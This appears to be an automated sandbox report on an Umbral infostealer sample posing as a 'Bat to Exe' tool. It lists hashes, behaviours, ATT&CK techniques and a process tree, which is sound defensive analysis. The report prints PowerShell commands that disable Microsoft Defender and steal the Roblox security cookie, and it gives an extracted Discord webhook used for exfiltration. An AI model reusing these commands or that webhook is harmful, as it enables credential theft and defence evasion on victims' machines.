umbral | 94509784f4e6bbe7ddcb00d09f2325cf9baec1cc80e14b5114987798aca3f191

Analysis

user interaction
yes
max time kernel
148s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/11/2026, 11:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Bat To 0Exe.exe
Size 1005KB
Sample261113-nn71csty9n
SHA256 94509784f4e6bbe7ddcb00d09f2325cf9baec1cc80e14b5114987798aca3f191
MD5 6bf2d368d054aef36f8e083ce54c31de
SHA1 f417b5dcc2354408f20f71522d1d9ed9fa9ff1cd
SHA512 4c404a5369d35dbbb00ed58f0389f63e664b58295f0a12ca8e8bfbf29d53ef0612777ab9cb7acf5d7b74fc04d7655eae5763455d99a4b817d764c6858a28d56e
SSDEEP 12288:1oZZL+EP8pOpvcCFdWwj+ctBI4K4/ZrvIGS:HI8YpvcCFdWwj+ctBI4/Z9S
TLSH
T1E825184323688E12D52E47FD8172D9BE4773AE66A825E34E0CD8BCF73A337425805A53
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution umbral spyware stealer

Malware Config

Extracted

Family

umbral

Version

v1.3

https://discord.com/api/webhooks/1570758573208768582/nGddHNMHIBlNIPILY45Ks6FoJQgV7Buy9G0Iyz9_TQpIJCuNut4Ev7R2HtXywOClM6LX

Signatures

Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
stealer umbral

Detects Umbral payload 4 IoCs

resource	yara_rule
behavioral1/files/0x00080000000244e2-20.dat	family_umbral
behavioral1/files/0x00080000000244e2-20.dat	family_umbral_obfuscated
behavioral1/memory/4212-35-0x000001FA19940000-0x000001FA19980000-memory.dmp	family_umbral
behavioral1/memory/4212-35-0x000001FA19940000-0x000001FA19980000-memory.dmp	family_umbral_obfuscated

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4832	powershell.exe
5100	powershell.exe
4952	powershell.exe
3736	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5100	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	Bat To 0Exe.exe

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5100	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4212	Umbral.exe
3612	Bat to Exe.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
17	discord.com
18	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
12	ip-api.com

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
4152	wmic.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Umbral.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Umbral.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bat to Exe.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2956	wmic.exe

Modifies registry class 32 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Bat to Exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Bat to Exe.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	Bat to Exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Bat to Exe.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Bat to Exe.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	Bat to Exe.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3736	powershell.exe
3736	powershell.exe
5100	powershell.exe
5100	powershell.exe
4952	powershell.exe
4952	powershell.exe
1428	powershell.exe
1428	powershell.exe
4832	powershell.exe
4832	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4212	Umbral.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeIncreaseQuotaPrivilege	744	wmic.exe
Token: SeSecurityPrivilege	744	wmic.exe
Token: SeTakeOwnershipPrivilege	744	wmic.exe
Token: SeLoadDriverPrivilege	744	wmic.exe
Token: SeSystemProfilePrivilege	744	wmic.exe
Token: SeSystemtimePrivilege	744	wmic.exe
Token: SeProfSingleProcessPrivilege	744	wmic.exe
Token: SeIncBasePriorityPrivilege	744	wmic.exe
Token: SeCreatePagefilePrivilege	744	wmic.exe
Token: SeBackupPrivilege	744	wmic.exe
Token: SeRestorePrivilege	744	wmic.exe
Token: SeShutdownPrivilege	744	wmic.exe
Token: SeDebugPrivilege	744	wmic.exe
Token: SeSystemEnvironmentPrivilege	744	wmic.exe
Token: SeRemoteShutdownPrivilege	744	wmic.exe
Token: SeUndockPrivilege	744	wmic.exe
Token: SeManageVolumePrivilege	744	wmic.exe
Token: 33	744	wmic.exe
Token: 34	744	wmic.exe
Token: 35	744	wmic.exe
Token: 36	744	wmic.exe
Token: SeIncreaseQuotaPrivilege	744	wmic.exe
Token: SeSecurityPrivilege	744	wmic.exe
Token: SeTakeOwnershipPrivilege	744	wmic.exe
Token: SeLoadDriverPrivilege	744	wmic.exe
Token: SeSystemProfilePrivilege	744	wmic.exe
Token: SeSystemtimePrivilege	744	wmic.exe
Token: SeProfSingleProcessPrivilege	744	wmic.exe
Token: SeIncBasePriorityPrivilege	744	wmic.exe
Token: SeCreatePagefilePrivilege	744	wmic.exe
Token: SeBackupPrivilege	744	wmic.exe
Token: SeRestorePrivilege	744	wmic.exe
Token: SeShutdownPrivilege	744	wmic.exe
Token: SeDebugPrivilege	744	wmic.exe
Token: SeSystemEnvironmentPrivilege	744	wmic.exe
Token: SeRemoteShutdownPrivilege	744	wmic.exe
Token: SeUndockPrivilege	744	wmic.exe
Token: SeManageVolumePrivilege	744	wmic.exe
Token: 33	744	wmic.exe
Token: 34	744	wmic.exe
Token: 35	744	wmic.exe
Token: 36	744	wmic.exe
Token: SeIncreaseQuotaPrivilege	3848	wmic.exe
Token: SeSecurityPrivilege	3848	wmic.exe
Token: SeTakeOwnershipPrivilege	3848	wmic.exe
Token: SeLoadDriverPrivilege	3848	wmic.exe
Token: SeSystemProfilePrivilege	3848	wmic.exe
Token: SeSystemtimePrivilege	3848	wmic.exe
Token: SeProfSingleProcessPrivilege	3848	wmic.exe
Token: SeIncBasePriorityPrivilege	3848	wmic.exe
Token: SeCreatePagefilePrivilege	3848	wmic.exe
Token: SeBackupPrivilege	3848	wmic.exe
Token: SeRestorePrivilege	3848	wmic.exe
Token: SeShutdownPrivilege	3848	wmic.exe
Token: SeDebugPrivilege	3848	wmic.exe
Token: SeSystemEnvironmentPrivilege	3848	wmic.exe
Token: SeRemoteShutdownPrivilege	3848	wmic.exe
Token: SeUndockPrivilege	3848	wmic.exe
Token: SeManageVolumePrivilege	3848	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3612	Bat to Exe.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4868 wrote to memory of 4212	4868	Bat To 0Exe.exe	85
PID 4868 wrote to memory of 3612	4868	Bat To 0Exe.exe	86
PID 4212 wrote to memory of 3736	4212	Umbral.exe	89
PID 4212 wrote to memory of 5100	4212	Umbral.exe	91
PID 4212 wrote to memory of 4952	4212	Umbral.exe	93
PID 4212 wrote to memory of 1428	4212	Umbral.exe	95
PID 4212 wrote to memory of 744	4212	Umbral.exe	97
PID 4212 wrote to memory of 3848	4212	Umbral.exe	100
PID 4212 wrote to memory of 4152	4212	Umbral.exe	102
PID 4212 wrote to memory of 4832	4212	Umbral.exe	104
PID 4212 wrote to memory of 2956	4212	Umbral.exe	106

C:\Users\Admin\AppData\Local\Temp\Bat To 0Exe.exe
"C:\Users\Admin\AppData\Local\Temp\Bat To 0Exe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4868
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Disables automatic submission of suspicious files to Microsoft by Windows Defender
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1428
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:744
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:3848
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    PID:4152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4832
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Detects videocard installed
    PID:2956
- C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe
  "C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:3612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8b66640600b8c05b4af2c978d3bdb778ddc2f835ea65297e6d9e9e060a256f39
MD5 14096fbe470a190011f31dba4c4307ae
SHA1 83e2c46b3e1c14779d7aea8497ad802fbc89d01e
SHA512 1687e378b3c0e92a30018f40092546c5cbfa38a5b5371d424834fd5c5cd02ebd52901f189385661e624a05e4ecb54f12841f970afae6e92a53da9551d95a3f75
TLSH
T104117623F3DC8A21CCA6163A509D9C1176B683C7819EDF9F6BC0D201A1BF594CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 ad4681b1a04a894525509b5614891dd373c06da7f971296b6adb5d69ddf7b5b9
MD5 b1761516efb31557634d783c4ba6c78a
SHA1 2e1cb494796983fab11ac5f1630940e1ced086f0
SHA512 42c93285e870463dd10c8f3eca15fe83b8e6c0a2231f67e3c3d0d257044e4b035a09be64680558aa03bf8daafcbf8824550625d74cbd6ee95ca8a31bca5b6c0e
TLSH
T194112223F38C8921CC96163A50ADAC5172B586CB81AEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26
MD5 c65738617888921a153bd9b1ef516ee7
SHA1 5245e71ea3c181d76320c857b639272ac9e079b1
SHA512 2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa
TLSH
T1AC112223F78C89A1CC96163A509DAC5172B686CB81AEDEDF7BC0C210E1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
TLSH
T128117623F3DC8A21CC96163A509DAC1176B683C7819EDF9F6BC0D201A5BF594CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

Bat to Exe.exe

Path C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe
Size 752KB
SHA256 f6f47c8fa80177328644c46370d39e1efdc49a6a9df2fa7afb4c4a72064e1459
MD5 7a907e93ae6fe3e6dd7ab7f2c4605325
SHA1 b3603193d48ecf4d7eb6c1149decc0c57a635242
SHA512 fad1099b52d242788e59795c4376da92e21edc05a18c1f1b926882417e140ff084d1e4bd9a3f2d90a5a22dd9010e3a7a263665e308359c489e472c29773ab70a
SSDEEP 1536:dc+9foYsW/hYorRaLfcwQPlyMJXfZxqx4ZVYWfZxqx4K:dc++W/hbrR2EJXfZd3YWfZdK
TLSH
T1BFF44C9396488D92D83017FD4133CEBE56636FB8A975D71A58FABC73BB732820C05582
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Umbral.exe

Path C:\Users\Admin\AppData\Local\Temp\Umbral.exe
Size 229KB
SHA256 c9d64fea7aa018c20b752e22269c08102aaa8db3b4e5e73ff4e86f19dea7c507
MD5 eee75685e3fd5c152c9827e117b10c7b
SHA1 eb49b14cd62e4c0ddbbf88e28df56b02a329dd9f
SHA512 696b4f624c762da0552166bb9ae06d3498c5e3c2607b8af44f972c93b6681e98f82d6014c3b60adf1bc26b708bd64ebbf28c2731c6f27ab306917d5ff000567a
SSDEEP 6144:tloZMCrIkd8g+EtXHkv/iD4pOpvcCFdWwj+ctBIfob8e1mrtji:voZZL+EP8pOpvcCFdWwj+ctBI4K4
TLSH
T130346C5933B88F17E25F8BBDD5B1158F87B1F143E80AF78E0C8895E82411B42E949E57
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_2ta03343.zcz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ta03343.zcz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3612-46-0x0000000004BA0000-0x0000000004BAA000-memory.dmp

Download

memory/3612-45-0x0000000004C50000-0x0000000004CE2000-memory.dmp

Download

memory/3612-44-0x0000000005200000-0x00000000057A4000-memory.dmp

Download

memory/3612-43-0x0000000004BB0000-0x0000000004C4C000-memory.dmp

Download

memory/3612-42-0x0000000000230000-0x00000000002F2000-memory.dmp

Download

memory/3612-47-0x0000000004E60000-0x0000000004EB6000-memory.dmp

Download

memory/3736-54-0x00000142679A0000-0x00000142679C2000-memory.dmp

Download

memory/4212-68-0x000001FA34B90000-0x000001FA34C06000-memory.dmp

Download

memory/4212-99-0x000001FA34C10000-0x000001FA34C22000-memory.dmp

Download

memory/4212-35-0x000001FA19940000-0x000001FA19980000-memory.dmp

Download

memory/4212-98-0x000001FA34B50000-0x000001FA34B5A000-memory.dmp

Download

memory/4212-40-0x000001FA34C40000-0x000001FA34C50000-memory.dmp

Download

memory/4212-70-0x000001FA34B10000-0x000001FA34B2E000-memory.dmp

Download

memory/4212-69-0x000001FA34D90000-0x000001FA34DE0000-memory.dmp

Download

memory/4868-12-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-11-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-9-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-8-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-6-0x0000000001010000-0x0000000001018000-memory.dmp

Download

memory/4868-0-0x00007FFB40A35000-0x00007FFB40A36000-memory.dmp

Download

memory/4868-7-0x000000001C2C0000-0x000000001C30C000-memory.dmp

Download

memory/4868-5-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-4-0x000000001C1F0000-0x000000001C28C000-memory.dmp

Download

memory/4868-10-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-16-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-41-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-3-0x000000001BC80000-0x000000001C14E000-memory.dmp

Download

memory/4868-2-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-13-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-17-0x00007FFB40780000-0x00007FFB41121000-memory.dmp

Download

memory/4868-1-0x000000001B610000-0x000000001B6B6000-memory.dmp

Download